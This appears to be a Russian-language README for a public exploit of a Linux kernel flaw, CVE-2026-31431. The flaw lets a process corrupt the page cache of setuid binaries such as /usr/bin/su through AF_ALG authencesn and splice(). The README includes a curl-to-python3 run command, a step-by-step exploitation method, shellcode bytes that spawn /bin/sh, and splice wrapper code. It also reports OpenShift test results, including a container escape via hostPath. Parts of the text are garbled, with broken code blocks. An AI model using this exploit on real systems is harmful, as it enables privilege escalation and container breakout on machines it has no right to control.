seanrickerd/cve-2026-31431Эксплойт для ядра Linux CVE-2026-31431, вызывающий повреждение page cache через манипуляцию authencesn AEAD, нацеленный на повышение привилегий в контейнерах и средах OpenShift.
Повреждение кэша страниц ядра Linux через манипуляцию AEAD-механизмом authencesn.
После обширного тестирования на нескольких кластерах OpenShift 4.20.16 с ядрами RHEL 9.6:
Подробности см. в разделе Комплексные результаты тестирования.
CVE-2026-31431 — это уязвимость ядра Linux в криптографической реализации AEAD authencesn, которая позволяет непривилегированным процессам повреждать кэш страниц читаемых файлов через сокеты AF_ALG и манипуляции с системным вызовом splice().
Результаты тестирования: Повреждение кэша страниц работает надёжно, но повышение привилегий НЕ происходит на ядрах RHEL 9.6 в наших тестовых средах.
Оценка CVSS: 7.8 (Высокая)
Затронуты: Версии ядра Linux с поддержкой authencesn (2017–2026)
Публичное раскрытие: 29 апреля 2026 года
splice() через ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Из локального файла```bash
python3 exploit.py
su
Что ПРОИЗОЙДЁТ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Проверка кэша страниц (подтверждает повреждение):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Что НЕ произойдёт (по результатам тестирования):```bash
su
id -u
**Вывод:** Повреждение page cache происходит успешно, но повышение привилегий не удаётся.
## Технические детали
### Уязвимость
Реализация `authencesn` (Authenticated Encryption with Associated Data — Extended Sequence Number) в ядре Linux содержит ошибку в обработке операций на месте (in-place). При обработке операций AEAD, отправляемых через сокет AF_ALG, страница из page cache может попасть в доступный для записи scatterlist назначения ядра.
### Методика эксплуатации
1. **Создать сокет AF_ALG** с `authencesn(hmac(sha256),cbc(aes))`
2. **Настроить параметры AEAD** (ключ, authsize)
3. **Открыть целевой setuid-бинарник** (например, `/usr/bin/su`)
4. **Использовать splice()** для помещения бинарника в page cache
5. **Запустить операцию AEAD на месте**, вызывающую запись в page cache
6. **Записать шеллкод** по 4 байта за раз
7. **Выполнить изменённый бинарник** для получения root
### Шеллкод
Эксплойт использует шеллкод размером 160 байт, который модифицирует `/usr/bin/su` для:
- Пропуска проверки пароля
- Предоставления root-оболочки
- Сохранения нормальной функциональности для непривилегированных пользователей
## Совместимость с Python 3.9
В Python 3.9 и более ранних версиях `os.splice()` отсутствует в стандартной библиотеке. Данный эксплойт включает реализацию на основе ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Это делает эксплойт рабочим на:
Конфигурация узла:
Результаты теста:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Тестовая среда 2: Свежий кластер OpenShift (Проверочный тест)
**Кластер:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Конфигурация узла:**
- Ядро: 5.14.0-570.96.1.el9_6.x86_64 (идентично тесту 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (проверено)
- UID: 1000810000 (пространство имён пользователя)
- Capabilities: 0x0000000000000000 (НОЛЬ)
**Результаты теста:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Согласованность: 100% воспроизводимые результаты в независимых кластерах
Сценарий A: С томом hostPath (выход из контейнера возможен)```yaml volumes:
РЕЗУЛЬТАТ: ✅ **Выход из контейнера** — изменяет страничный кэш хоста (устройство 33, inode 4288)
**Сценарий Б: ограниченный SCC версии 2 (без hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Результат: ❌ Побега из контейнера нет — затрагивается только overlay контейнера (отдельный inode)
Критическая находка: доступ к hostPath (а не capabilities) является определяющим фактором для побега из контейнера.
Возможные объяснения (требуют дальнейшего исследования):
Пути выполнения чтения и исполнения
mmap(PROT_READ)mmap(PROT_EXEC) могут обходить повреждённый кэшЗащита памяти